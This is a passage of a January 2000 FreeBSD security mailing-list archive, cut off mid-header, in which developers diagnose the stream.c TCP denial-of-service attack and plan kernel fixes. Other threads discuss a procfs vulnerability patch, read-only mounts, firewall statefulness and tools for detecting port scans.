gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id AAA21662; Mon, 24 Jan 2000 00:01:37 -0800 (PST) From: Don Lewis Message-Id: <200001240801.AAA21662@salsa.gv.tsc.tdk.com> Date: Mon, 24 Jan 2000 00:01:37 -0800 In-Reply-To: References: X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Bosko Milekic , Darren Reed Subject: Re: kernel panic's still due to mbuf problems. Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 23, 8:57pm, Bosko Milekic wrote: } Subject: Re: kernel panic's still due to mbuf problems. } } You know, "among all these `stream.c' Emails," I don't believe that I've } seen a single one that was worth being called a `bug report,' at all. } Unless I missed something after having adapted to the volume of } `stream.c' related junk by systematically deleting them, I don't believe } that I've seen any _detailed_ problem analysis, rather various } hypothesizing about nothing and everything all at once. Each of the incoming packets results in an outgoing RST packet and apparently these are expensive to generate. They also gobble up network bandwidth, which makes the DoS worse, and at least some of these, which are sent to the forged source addresses in the incoming packets, will trigger incoming ICMP unreachable packets. We need to rate limit the outgoing RST packets, which the current code does if we have ICMP_BANDLIM enabled, but only if the attack is directed at a port number that doesn't have a listening socket. If there is a socket listening at that port number, a different path is taken to the code that generates the RST packets that bypasses the rate limiter. At least some of the packets generated by stream.c have a bogus multicast source address, which the TCP stack happily accepts and sends its RST response to this multicast address (and the TCP stack will also accept a SYN packet with a multicast source address, set up a connection, and send the SYN-ACK response to this multicast address). The TCP stack should ignore packets with multicast or broadcast source addresses and should not respond to them. I posted a patch to fix these problems yesterday. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0: 9:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (Postfix) with ESMTP id 4A6BF1505A; Mon, 24 Jan 2000 00:09:36 -0800 (PST) (envelope-from guido@gvr.org) Received: by gvr.gvr.org (Postfix, from userid 657) id D2DE5A843; Mon, 24 Jan 2000 09:09:33 +0100 (CET) Date: Mon, 24 Jan 2000 09:09:33 +0100 From: Guido van Rooij To: Brett Glass Cc: Mikhail Teterin , Darren Reed , Warner Losh , jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Message-ID: <20000124090933.A19088@gvr.gvr.org> References: <200001210421.PAA25285@cairo.anu.edu.au> <200001210531.AAA26807@rtfm.newton> <4.2.2.20000120223838.019309d0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <4.2.2.20000120223838.019309d0@localhost>; from Brett Glass on Thu, Jan 20, 2000 at 10:43:57PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 20, 2000 at 10:43:57PM -0700, Brett Glass wrote: > Unfortunately, no. IPFW is stateless (at least from packet > to packet). This makes it compact and fast but unable to > detect or handle some situations by itself. > > You could write a daemon that hung off of a divert(4) > socket (as natd does) to do this, but serious juju would > be required. > The current way heart of the TCP stateful filtering engine in ipfilter was designed by me. I am preparing an article on it which will be preseneted at the European SANE conference (http://www.nluug.nl/events/sane2000/index.html). Once my article is ready you can probably easily use it to make such a east for ipfw. -Guido in To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:29:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 839FA150BA for ; Mon, 24 Jan 2000 00:29:32 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12Ces0-000G37-00; Mon, 24 Jan 2000 10:29:08 +0200 From: Sheldon Hearn To: "Dan Seafeldt, AZ.COM System Administrator" Cc: security@FreeBSD.ORG Subject: Re: Microsoft Windows Update In-reply-to: Your message of "Sat, 22 Jan 2000 00:55:02 PST." Date: Mon, 24 Jan 2000 10:29:08 +0200 Message-ID: <61696.948702548@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 22 Jan 2000 00:55:02 PST, "Dan Seafeldt, AZ.COM System Administrator" w rote: > http://windowsupdate.microsoft.com [...] > Although if FreeBSD implemented something similar to this, it might > be nice to consider when public notification of the nature of the > problem before, during or after a particular fix was automatically > disseminated would be appropriate. FreeBSD already has the resources required to deliver this service. We have several easy ways to keep the system up-to-date with the latest and greatest fixes (CVS, CVSup, CTM). We have a mailing list on which all these fixes are described (cvs-all). And we have a mailing list on which official announcements are made once serious security problems have been investigated and solutions made available (freebsd-security). If you'd like to set up a web site on which you provide what you consider to be a digest of significant issues fixed but not announced on freebsd-security, you're welcome to do that. :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:40:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail02.rapidsite.net (mail02.rapidsite.net [207.158.192.68]) by hub.freebsd.org (Postfix) with SMTP id F1868150BA for ; Mon, 24 Jan 2000 00:40:41 -0800 (PST) (envelope-from mchilali@nettoll.com) Received: from www.nettoll.com (209.130.51.127) by mail02.rapidsite.net (RS ver 1.0.53) with SMTP id 09918; Mon, 24 Jan 2000 03:40:20 -0500 (EST) From: "Mahmoud Chilali" To: "Joss Roots" , Subject: RE: Is it posssible for someone to FREEZE FreeBSD over TCP-IP Network ? Date: Mon, 24 Jan 2000 09:50:59 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <19991202192452.20902.qmail@web112.yahoomail.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal X-Loop-Detect: 1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is most probably a hang of the X server. I experienced this many times (and not only with FreeBSD). TMost of the tim, even the CTRL-ALT-DEL doesn't work and the only thing to do is the OFF button. sometimes however (but this is a hardware/BIOS thing), even this doesn't work and the only way is to "deinvent" electricity by unplugging the PC... The problem is that X11 "uses" all input devices, and that if it has a "serious" problem, then you can't do anything using your keybard, mouse or screen (you can do many things, but these do not solve the problem the way you want) since they ar prisoners to that "user-friendly stuff". seems like people using graphical systems have to pay the ease of use (I'd rather believe that efforts have to be made to solve problems, but heh, this requires time, efforts and many othe things...). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:40:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail02.rapidsite.net (mail02.rapidsite.net [207.158.192.68]) by hub.freebsd.org (Postfix) with SMTP id E6E6114E45 for ; Mon, 24 Jan 2000 00:40:41 -0800 (PST) (envelope-from mchilali@nettoll.com) Received: from www.nettoll.com (209.130.51.127) by mail02.rapidsite.net (RS ver 1.0.53) with SMTP id 19918; Mon, 24 Jan 2000 03:40:26 -0500 (EST) From: "Mahmoud Chilali" To: "Brian W. Buchanan" , "Spidey" Cc: Subject: RE: Mounting / Read-Only Date: Mon, 24 Jan 2000 09:51:05 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal X-Loop-Detect: 1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brian W. Buchanan wrote > Mounting a filesystem read-only is not a security measure. It gains you > nothing if root is compromised. If we follow this arg, then firewalls are not a security measure. they gain you nothing if hacked! If mounting an FS ro is not a securiyt measure, then what could it be? is it there only for unix courses? why should I mount anything ro and why should I set a file ro if not for security? While this does not guarantee compelte seurity, it gives a certain LEVEL of security. security is not a binary question. a server, file, ... is not secure or unsecure. It has a level of security. it may be more secure because we have done something to achieve a higher degree of security. This is the same thing as applying a pacth to fix a securit hole. It does not protect from unknown attacks, but it does however protect from known attacks. similarly, mounting an FS ro does not protect from unrelated attacks, but it makes modifying a file without remounting the FS (or using a kernel bug impossible, but thats a complex matter). remounting an FS may be made hard by modifying the "mount" system call. One could imagine an authentication when mount is executed after the system is in multiuser state. This is much easier than trying to protect every file, because you have a lot of files to protect! This is similar to using a firewall to protect a network: one can theoritically secure every host, nd so no FW is needed. however, that would be a nightmare if not impossible. he central concept here is centralization: control files by simply cotrolling a flag of the FS they are on. or you can call this delagtion. I delegate to "mount" the task of checking individual files. This s yet the "put all your eggs in one basket and watch that basket" principle. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:48:39 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7B0E11581A for ; Mon, 24 Jan 2000 00:48:10 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id AAA85106; Mon, 24 Jan 2000 00:48:08 -0800 (PST) (envelope-from dillon) Date: Mon, 24 Jan 2000 00:48:08 -0800 (PST) From: Matthew Dillon Message-Id: <200001240848.AAA85106@apollo.backplane.com> To: Don Lewis Cc: Richard Steenbergen , Alfred Perlstein , freebsd-security@FreeBSD.ORG Subject: Re: stream.c References: <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> <20000123112220.E18349@above.net> <200001240738.XAA21595@salsa.gv.tsc.tdk.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :} :} The checksums are a pretty small amount of the CPU time burned. The RST :} generation is by far the worst, the PCB hash lookups are 2nd after that. : :Any idea why RST generation is so bad? Yes, there are several problems. First, if you are on a HUB you are eating additional network bandwidth with the responses and also potentially creating a severe collision problem. Second, the collision problem can cause the output queue to back up, causing legitimate connections to fail that would not have otherwrised failed. Third the bogus RST's may cause ICMP bounces from wherever they are sent to, resulting in even more input traffic. Fourth RST responses to certain IP addresses, such as multicast or broadcast addresses, can cause additional traffic. Fifth you increase (as in potentially double) the interrupt load on your host due to the transmission of the RST's. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:55:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from k2.vol.cz (k2.vol.cz [195.250.128.30]) by hub.freebsd.org (Postfix) with ESMTP id F345415350 for ; Mon, 24 Jan 2000 00:55:13 -0800 (PST) (envelope-from mbures@vol.cz) Received: from localhost (mbures@localhost) by k2.vol.cz (8.9.3/8.9.3) with ESMTP id JAA46912 for ; Mon, 24 Jan 2000 09:55:10 +0100 (CET) X-Authentication-Warning: k2.vol.cz: mbures owned process doing -bs Date: Mon, 24 Jan 2000 09:55:03 +0100 (CET) From: Michal Bures To: freebsd-security@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth 84694a07 subscribe freebsd-security mbures@vol.cz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0:58:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 77F3915910 for ; Mon, 24 Jan 2000 00:58:14 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id AAA85243; Mon, 24 Jan 2000 00:58:07 -0800 (PST) (envelope-from dillon) Date: Mon, 24 Jan 2000 00:58:07 -0800 (PST) From: Matthew Dillon Message-Id: <200001240858.AAA85243@apollo.backplane.com> To: Darren Reed Cc: freebsd-security@FreeBSD.ORG Subject: Re: kernel panic's still due to mbuf problems. References: <200001232329.KAA02494@cairo.anu.edu.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Amongst all these `stream.c' emails, I noticed at least one which :had a FreeBSD panic message saying there were no mbuf's free. I :think it was for a 3.4 system. *That* is the bug which should be :fixed. : :Darren I noticed that one too, but the author's email (if we are talking about the same one) also said that the attack went on for an hour before his machine paniced, which leads me to believe that the TCP stack is not to blame. I've emailed the author some things to try. Specifically, it is possible that the problem is related to the machine's route table eating all available KVM from temporary routes created by the spoofed source addresses. There are sysctl's available to limit that sort of damage. It is also possible that we still have a leak somewhere. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 1:33:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 304351526B for ; Mon, 24 Jan 2000 01:33:20 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id BAA85655; Mon, 24 Jan 2000 01:33:17 -0800 (PST) (envelope-from dillon) Date: Mon, 24 Jan 2000 01:33:17 -0800 (PST) From: Matthew Dillon Message-Id: <200001240933.BAA85655@apollo.backplane.com> To: Warner Losh Cc: Tim Yardley , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability References: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> <200001240213.TAA47930@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :In message <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> Tim Yardley writes: :: i would hope this is getting looked into... : :Maybe you mised the following: : :: > Patches are available on :: >http://www.openbsd.org/errata.html#procfs :: >ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch : : :Now that this has hit bugtraq, I'll do the advisory republishing. : :Warner Hmmm. This looks rather serious, and it does not look like anyone has committed the patch into RELENG_2_2 (which a lot of sites still use). It would be kinda nice if someone did that. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 3: 7:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id 9870F150E1 for ; Mon, 24 Jan 2000 03:07:15 -0800 (PST) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id D88561C03; Mon, 24 Jan 2000 18:34:41 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Mike Tancsa Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-Reply-To: Message from Mike Tancsa of "Sun, 23 Jan 2000 20:35:45 EST." <4.2.2.20000123203515.00a506c0@mail.sentex.net> Date: Mon, 24 Jan 2000 18:34:41 +0800 From: Peter Wemm Message-Id: <20000124103441.D88561C03@overcee.netplex.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mike Tancsa wrote: > > > What are the implications on unmounting procfs ? Under -current, practically nothing. Under 3.x, ps(1) won't work right. I'm not sure about gdb(1), it seems to use ptrace(2) these days. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 3:23:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id ACA5614F68 for ; Mon, 24 Jan 2000 03:23:23 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id MAA21986; Mon, 24 Jan 2000 12:21:12 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Peter Wemm Cc: Mike Tancsa , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-reply-to: Your message of "Mon, 24 Jan 2000 18:34:41 +0800." <20000124103441.D88561C03@overcee.netplex.com.au> Date: Mon, 24 Jan 2000 12:21:12 +0100 Message-ID: <21984.948712872@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <20000124103441.D88561C03@overcee.netplex.com.au>, Peter Wemm writes : >Mike Tancsa wrote: >> >> >> What are the implications on unmounting procfs ? > >Under -current, practically nothing. Under 3.x, ps(1) won't work right. >I'm not sure about gdb(1), it seems to use ptrace(2) these days. I belive killall needs a minor fix to use ps(1)... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 5:35: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6AA6C15188 for ; Mon, 24 Jan 2000 05:34:59 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id GAA00768; Mon, 24 Jan 2000 06:34:57 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id GAA02980; Mon, 24 Jan 2000 06:34:41 -0700 (MST) Message-Id: <200001241334.GAA02980@harmony.village.org> To: Matthew Dillon Subject: Re: Fwd: *BSD procfs vulnerability Cc: Tim Yardley , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 24 Jan 2000 01:33:17 PST." <200001240933.BAA85655@apollo.backplane.com> References: <200001240933.BAA85655@apollo.backplane.com> <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> <200001240213.TAA47930@harmony.village.org> Date: Mon, 24 Jan 2000 06:34:41 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001240933.BAA85655@apollo.backplane.com> Matthew Dillon writes: : Hmmm. This looks rather serious, and it does not look like anyone has : committed the patch into RELENG_2_2 (which a lot of sites still use). : It would be kinda nice if someone did that. Sure would be nice. Don't have the machines or time to do it myself. 2.x is no longer officially supported. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 6:33: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from galatea.neptune.on.ca (galatea.neptune.on.ca [205.233.176.3]) by hub.freebsd.org (Postfix) with ESMTP id 79DF314FA7 for ; Mon, 24 Jan 2000 06:33:03 -0800 (PST) (envelope-from steve@neptune.on.ca) Received: from triton.neptune.on.ca (IDENT:steve@triton.neptune.on.ca [205.233.176.2]) by galatea.neptune.on.ca (8.9.3/8.9.3) with SMTP id JAA07697; Mon, 24 Jan 2000 09:32:52 -0500 Date: Mon, 24 Jan 2000 09:32:53 -0500 (EST) From: Steve Mickeler To: "mr. t" Cc: security@FreeBSD.ORG Subject: Re: attack notification via email In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 21 Jan 2000, mr. t wrote: > > Regarding stream, DOS Smurf, trash packet bombing and sybounce... Be nice > to have the OS send an email. I realize this is what syslog is for but > since this might be a once in awhile sort of a thing and its very > important, if you are going to go to the trouble of making the OS smart > enough to recognize these - make option to email the sysadmin too with an > alert message. That's a little more in-your-face than syslog and might be > appropriate for this once in a lifetime event. At least the option would > be really great and give alot of piece of mind - no alerts, nothing > happened while out to lunch. Not all sysadmins know who to write a utility > to scan the logs and email an alert. Besides that's kludgy. > > Just a thought... Theres a couple of great utils that can do this. The first is PortSentry which is designed to detect and respond to port scans against a target host in real-time. The second is LogCheck which is designed to help in the processing of UNIX system logfiles. Both are free and come with source code and can be found at. http://www.psionic.com/ -- Steve Todays root password is brought to you by /dev/random To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 8:12:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from proteus.eclipse.net.uk (proteus.eclipse.net.uk [195.188.32.118]) by hub.freebsd.org (Postfix) with ESMTP id 0F71E15251 for ; Mon, 24 Jan 2000 08:12:17 -0800 (PST) (envelope-from sh@eclipse.net.uk) Received: from eclipse.net.uk (elara.eclipse.net.uk [195.188.32.31]) by proteus.eclipse.net.uk (Postfix) with ESMTP id 219969B43; Mon, 24 Jan 2000 16:12:15 +0000 (GMT) Message-ID: <388C79F9.1F129231@eclipse.net.uk> Date: Mon, 24 Jan 2000 16:12:41 +0000 From: Stuart Henderson Organization: Eclipse Networking Ltd X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en-GB MIME-Version: 1.0 To: Michael Robinson Cc: freebsd-security@freebsd.org Subject: Re: tcpdump References: <200001231242.UAA02239@netrinsics.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > * (BTW, please don't send us patches to print the packet out in ascii) > > I've just finished with my latest version of such patches. Does that make > me some sort of E133t H4x0r or something? Not really, since the original tcpdump will spit forth ascii without much trouble anyway. (Your mod is better though, since you lose the decode of packet headers if you just do this by setting -w-). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 8:24: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from benge.graphics.cornell.edu (benge.graphics.cornell.edu [128.84.247.43]) by hub.freebsd.org (Postfix) with ESMTP id E9636151EC for ; Mon, 24 Jan 2000 08:22:10 -0800 (PST) (envelope-from mkc@benge.graphics.cornell.edu) Received: from benge.graphics.cornell.edu (mkc@localhost) by benge.graphics.cornell.edu (8.9.3/8.9.3) with ESMTP id LAA41414; Mon, 24 Jan 2000 11:22:07 -0500 (EST) (envelope-from mkc@benge.graphics.cornell.edu) Message-Id: <200001241622.LAA41414@benge.graphics.cornell.edu> To: Garrett Wollman Cc: Brad Guillory , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: Message from Garrett Wollman of "Fri, 21 Jan 2000 20:07:23 EST." <200001220107.UAA46722@khavrinen.lcs.mit.edu> Date: Mon, 24 Jan 2000 11:22:07 -0500 From: Mitch Collinsworth Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> Things have slowed down a bit lately but for a while we[1] were being >> port scanned almost daily from one corner of the net or another. > >You're only being port-scanned daily? What can I say? You're just more sexy than we are. :-) -Mitch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:13:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 7156F14BE6 for ; Mon, 24 Jan 2000 09:13:51 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA24840; Mon, 24 Jan 2000 10:13:38 -0700 (MST) Message-Id: <4.2.2.20000124101005.01e229a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 24 Jan 2000 10:13:36 -0700 To: Bosko Milekic , Darren Reed From: Brett Glass Subject: Re: kernel panic's still due to mbuf problems. Cc: freebsd-security@FreeBSD.ORG In-Reply-To: References: <200001232329.KAA02494@cairo.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:57 PM 1/23/2000 , Bosko Milekic wrote: > You know, "among all these `stream.c' Emails," I don't believe that I've > seen a single one that was worth being called a `bug report,' at all. > Unless I missed something after having adapted to the volume of > `stream.c' related junk by systematically deleting them, I don't believe > that I've seen any _detailed_ problem analysis, Sounds like you missed some good ideas by deleting the mail. From what I gather, a patch containing code from Don Lewis, Matt Dillon, and possibly Alfred Perlstein is in the works, and Warner Losh is collecting the pieces from them. I would have thrown in some code, but Don beat me to implementing the parts I was going to contribute. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:30:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id B48D614DAB for ; Mon, 24 Jan 2000 09:30:25 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA25086; Mon, 24 Jan 2000 10:30:13 -0700 (MST) Message-Id: <4.2.2.20000124102833.01dd02d0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 24 Jan 2000 10:30:12 -0700 To: Steve Mickeler , "mr. t" From: Brett Glass Subject: Re: attack notification via email Cc: security@FreeBSD.ORG In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:32 AM 1/24/2000 , Steve Mickeler wrote: >The first is PortSentry which is designed to detect and respond to port >scans against a target host in real-time. The Web page claims that it only detects stealth scans under Linux, alas. It apparently will detect scans that involve opening a normal socket under FreeBSD, but most experienced crackers won't do this -- too conspicuous. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:31:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 229161591A for ; Mon, 24 Jan 2000 09:31:56 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id JAA08236; Mon, 24 Jan 2000 09:30:03 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id JAA06012; Mon, 24 Jan 2000 09:30:03 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id JAA18440; Mon, 24 Jan 2000 09:28:41 -0800 (PST) Message-ID: <388C8D31.899AF4FC@softweyr.com> Date: Mon, 24 Jan 2000 10:34:41 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Don Lewis Cc: Richard Steenbergen , Alfred Perlstein , freebsd-security@freebsd.org Subject: Re: stream.c References: <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> <20000123112220.E18349@above.net> <200001240738.XAA21595@salsa.gv.tsc.tdk.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Don Lewis wrote: > > On Jan 23, 11:22am, Richard Steenbergen wrote: > } > } The checksums are a pretty small amount of the CPU time burned. The RST > } generation is by far the worst, the PCB hash lookups are 2nd after that. > > Any idea why RST generation is so bad? Because the stream program sends packets with multicast source addresses, so the RSTs get returned to multicast addresses. Worse yet, we don't have an existing route for these bogus multicast addresses, so IP happily floods them on all interfaces, making the attack a packet exploder. Warner has a handle on this, why don't we wait for his SA and patch? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:37:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id C6D081588B for ; Mon, 24 